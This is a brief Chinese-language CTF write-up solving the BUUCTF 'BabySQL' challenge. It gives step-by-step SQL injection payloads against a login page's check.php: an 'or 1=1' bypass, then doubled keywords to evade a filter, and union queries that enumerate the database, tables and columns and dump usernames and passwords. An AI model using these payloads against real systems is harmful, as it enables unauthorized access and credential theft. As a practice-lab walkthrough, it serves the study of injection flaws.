BUUCTF [极客大挑战 2019] BabySQL
打开环境
尝试万能密码登录
1' or 1=1#
根据报错信息,关键字or
被屏蔽,尝试双写绕过
1' oorr 1=1#
查询字段数
/check.php?username=1' uniunionon selselectect 1,2,3,4 %23
&password=1
判断字段数为3,查询回显点位:
/check.php?username=1' uniunionon selselectect 1,2,3 %23
&password=1
回显点位为2和3,
查询当前数据库名:
/check.php?username=1' ununionion seselectlect 1,2,database() %23&password=1
查询表名:
/check.php?username=1' ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database() %23&password=1
获取b4bsql的内容:
/check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql' %23&password=1
查询username和password:
/check.php?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1
得到flag,完成(‾◡◝)